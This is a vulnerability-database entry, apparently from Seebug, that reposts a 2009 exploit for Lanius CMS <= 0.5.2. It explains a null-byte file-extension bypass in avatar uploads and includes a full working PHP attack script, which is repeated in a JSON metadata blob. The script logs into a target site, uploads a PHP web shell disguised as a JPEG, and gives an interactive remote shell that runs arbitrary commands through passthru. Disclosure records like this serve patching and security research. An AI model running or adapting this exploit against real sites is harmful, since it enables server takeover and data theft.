ID SSV:17890
Type seebug
Reporter Root
Modified 2009-04-07T00:00:00
Description
No description provided by source.
<?php
/*
--------------------------------------------------------
Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit
--------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.laniuscms.org/
details..: this vulnerability affects all Drake CMS >= 0.4.6 and Lanius CMS <= 0.5.2 r1050
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
[-] vulnerable code in /includes/upload.php (in_upload() function)
52. if ($file_sz > $max_sz )
53. return sprintf(_UPLOAD_TOO_BIG, convert_bytes($file_sz), convert_bytes($max_sz));
54.
55. $thy_name = basename(urldecode($_FILES[$elem]['name']));
56. if (isset($allowed_ext)) {
57. $ext = file_ext($thy_name);
58. if (($ext==='') || (!in_array($ext, $allowed_ext)))
59. return sprintf(_UPLOAD_DISALLOWED_EXT, implode(', ',$allowed_ext));
60. }
61. $orig_name = $thy_name;
[-] file_ext() function defined into /includes/functions.php
101. function file_ext($file)
102. {
103. $p = strrpos($file, '.');
104. if ($p===false)return '';
105. return strtolower(substr($file,$p+1));
106. }
Cause of the uploaded filename is passed to urldecode() function is possibile to inject a null
char to bypass the extension's check. This is possibile because strrpos() function, used into
file_ext() function, is binary-safe, so by passing a filename e.g. test.php%00.jpg this function
returns 'jpg', but the file will be saved as test.php by move_uploadad_file() function.
[-] Disclosure timeline:
[05/04/2009] - Bug discovered
[06/04/2009] - Vendor contacted
[06/04/2009] - Vendor replied
[07/04/2009] - Fix released: http://www.laniuscms.org/?option=content&id=81
[07/04/2009] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("\nsocket_create(): " . socket_strerror($s) . "\n");
if (socket_connect($s, $host, 80) == false)
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");
socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;
socket_close($s);
return $response;
}
function login()
{
global $host, $path, $username, $password, $sid;
print "\n[-] Logging in with username '{$username}' and password '{$password}'\n";
$payload = "username={$username}&password={$password}&task=login";
$packet = "POST {$path}?option=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
$response = http_send($host, $packet);
preg_match("/PHPSESSID=([0-9a-f]{32})/i", $response, $match);
$sid = $match[1];
if (!preg_match("/Location: index.php/i", $response))
die("[-] Incorrect username/password\n");
}
function upload()
{
global $host, $path, $sid, $username, $password;
login();
$avatar = "media/forum/avatars/custom/poc.php";
$params = array('user_name' => $username,
'user_password_orig' => $password,
'user_email' => 'foo@bar.com',
'btnsubmit' => 'Update',
'task' => 'update');
foreach ($params as $name => $value)
$payload .= "--o0oOo0o\r\nContent-Disposition: form-data; name=\"{$name}\"\r\n\r\n{$value}\r\n";
$payload .= "--o0oOo0o\r\nContent-Disposition: form-data; name=\"user_uploaded_avatar\"; filename=\"poc.php%00.jpg\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}?option=user HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
http_send($host, $packet);
$packet = "GET {$path}{$avatar} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if (preg_match('/200 OK/i', http_send($host, $packet)))
return $avatar;
die("[-] Upload failed\n");
}
print "\n+------------------------------------------------------------------+";
print "\n| Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / user pass";
print "\nExample....: php $argv[0] localhost /lanius/ user pass\n\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$password = $argv[4];
$path .= upload();
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nlanius-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}
?>
# milw0rm.com [2009-04-07]
{"href": "https://www.seebug.org/vuldb/ssvid-17890", "status": "poc", "bulletinFamily": "exploit", "modified": "2009-04-07T00:00:00", "title": "Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-17890", "cvelist": [], "description": "No description provided by source.", "viewCount": 3, "published": "2009-04-07T00:00:00", "sourceData": "\n <?php\n\n/*\n\t--------------------------------------------------------\n\tLanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit\n\t--------------------------------------------------------\n\t\n\tauthor...: EgiX\n\tmail.....: n0b0d13s[at]gmail[dot]com\n\t\n\tlink.....: http://www.laniuscms.org/\n\tdetails..: this vulnerability affects all Drake CMS >= 0.4.6 and Lanius CMS <= 0.5.2 r1050\n \n\tThis PoC was written for educational purpose. Use it at your own risk.\n\tAuthor will be not responsible for any damage.\n\n\t[-] vulnerable code in /includes/upload.php (in_upload() function)\n\n\t52.\t\tif ($file_sz > $max_sz )\n\t53.\t\t\treturn sprintf(_UPLOAD_TOO_BIG, convert_bytes($file_sz), convert_bytes($max_sz));\n\t54.\t\t\t\n\t55.\t\t$thy_name = basename(urldecode($_FILES[$elem]['name']));\n\t56.\t\tif (isset($allowed_ext)) {\n\t57.\t\t\t$ext = file_ext($thy_name);\n\t58.\t\t\tif (($ext==='') || (!in_array($ext, $allowed_ext)))\n\t59.\t\t\t\treturn sprintf(_UPLOAD_DISALLOWED_EXT, implode(', ',$allowed_ext));\n\t60.\t\t}\n\t61.\t\t$orig_name = $thy_name;\n\n\t[-] file_ext() function defined into /includes/functions.php\n\n\t101.\tfunction file_ext($file)\n\t102.\t{\n\t103.\t\t$p = strrpos($file, '.');\n\t104.\t\tif ($p===false)return '';\n\t105.\t\treturn strtolower(substr($file,$p+1));\n\t106.\t}\n\n\tCause of the uploaded filename is passed to urldecode() function is possibile to inject a null\n\tchar to bypass the extension's check. This is possibile because strrpos() function, used into\n\tfile_ext() function, is binary-safe, so by passing a filename e.g. test.php%00.jpg this function\n\treturns 'jpg', but the file will be saved as test.php by move_uploadad_file() function.\n\n\t[-] Disclosure timeline:\n\t\t\n\t[05/04/2009] - Bug discovered\n\t[06/04/2009] - Vendor contacted\n\t[06/04/2009] - Vendor replied\n\t[07/04/2009] - Fix released: http://www.laniuscms.org/?option=content&id=81\n\t[07/04/2009] - Public disclosure\n*/\n\nerror_reporting(0);\nset_time_limit(0);\nini_set("default_socket_timeout", 5);\n\nfunction http_send($host, $packet)\n{\n\tif (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)\n\t die("\\nsocket_create(): " . socket_strerror($s) . "\\n");\n\n\tif (socket_connect($s, $host, 80) == false)\n\t die("\\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\\n");\n\n\tsocket_write($s, $packet, strlen($packet));\n\twhile ($m = socket_read($s, 2048)) $response .= $m;\n\n\tsocket_close($s);\n\treturn $response;\n}\n\nfunction login()\n{\n\tglobal $host, $path, $username, $password, $sid;\n\t\n\tprint "\\n[-] Logging in with username '{$username}' and password '{$password}'\\n";\n\t\n\t$payload = "username={$username}&password={$password}&task=login";\n\t$packet = "POST {$path}?option=login HTTP/1.0\\r\\n";\n\t$packet .= "Host: {$host}\\r\\n";\n\t$packet .= "Content-Length: ".strlen($payload)."\\r\\n";\n\t$packet .= "Content-Type: application/x-www-form-urlencoded\\r\\n";\n\t$packet .= "Connection: close\\r\\n\\r\\n";\n\t$packet .= $payload;\n\n\t$response = http_send($host, $packet);\n\tpreg_match("/PHPSESSID=([0-9a-f]{32})/i", $response, $match);\n\t$sid = $match[1];\n\t\n\tif (!preg_match("/Location: index.php/i", $response))\n\t\tdie("[-] Incorrect username/password\\n");\n}\n\nfunction upload()\n{\n\tglobal $host, $path, $sid, $username, $password;\n\n\tlogin();\n\t\n\t$avatar = "media/forum/avatars/custom/poc.php";\n\t$params = array('user_name' => $username,\n\t\t\t\t\t'user_password_orig' => $password,\n\t\t\t\t\t'user_email' => 'foo@bar.com',\n\t\t\t\t\t'btnsubmit' => 'Update',\n\t\t\t\t\t'task' => 'update');\n\n\tforeach ($params as $name => $value)\n\t\t$payload .= "--o0oOo0o\\r\\nContent-Disposition: form-data; name=\\"{$name}\\"\\r\\n\\r\\n{$value}\\r\\n";\n\n\t$payload .= "--o0oOo0o\\r\\nContent-Disposition: form-data; name=\\"user_uploaded_avatar\\"; filename=\\"poc.php%00.jpg\\"\\r\\n";\n\t$payload .= "Content-Type: image/jpeg\\r\\n\\r\\n";\n\t$payload .= "<?php \\${print(_code_)}.\\${passthru(base64_decode(\\$_SERVER[HTTP_CMD]))} ?>\\r\\n";\n\t$payload .= "--o0oOo0o--\\r\\n";\n\t\n\t$packet = "POST {$path}?option=user HTTP/1.0\\r\\n";\n\t$packet .= "Host: {$host}\\r\\n";\n\t$packet .= "Cookie: PHPSESSID={$sid}\\r\\n";\n\t$packet .= "Content-Length: ".strlen($payload)."\\r\\n";\n\t$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\\r\\n";\n\t$packet .= "Connection: close\\r\\n\\r\\n";\n\t$packet .= $payload;\n\n\thttp_send($host, $packet);\n\n\t$packet = "GET {$path}{$avatar} HTTP/1.0\\r\\n";\n\t$packet .= "Host: {$host}\\r\\n";\n\t$packet .= "Connection: close\\r\\n\\r\\n";\n\n\tif (preg_match('/200 OK/i', http_send($host, $packet)))\n\t\treturn $avatar;\n\n\tdie("[-] Upload failed\\n");\n}\n\nprint "\\n+------------------------------------------------------------------+";\nprint "\\n| Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit by EgiX |";\nprint "\\n+------------------------------------------------------------------+\\n";\n\nif ($argc < 5)\n{\n\tprint "\\nUsage......: php $argv[0] <host> <path> <username> <password>\\n";\n\tprint "\\nExample....: php $argv[0] localhost / user pass";\n\tprint "\\nExample....: php $argv[0] localhost /lanius/ user pass\\n\\n";\n\tdie();\n}\n\n$host = $argv[1];\n$path = $argv[2];\n$username = $argv[3];\n$password = $argv[4];\n\n$path .= upload();\n\n$packet = "GET {$path} HTTP/1.0\\r\\n";\n$packet .= "Host: {$host}\\r\\n";\n$packet .= "Cmd: %s\\r\\n";\n$packet .= "Connection: close\\r\\n\\r\\n";\n\nwhile(1)\n{\n\tprint "\\nlanius-shell# ";\n\tif (($cmd = trim(fgets(STDIN))) == "exit") break;\n\t$response = http_send($host, sprintf($packet, base64_encode($cmd)));\n\tpreg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\\n[-] Exploit failed\\n");\n}\n\n?>\n\n# milw0rm.com [2009-04-07]\n\n ", "id": "SSV:17890", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T18:54:52", "reporter": "Root", "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645490890}}
{}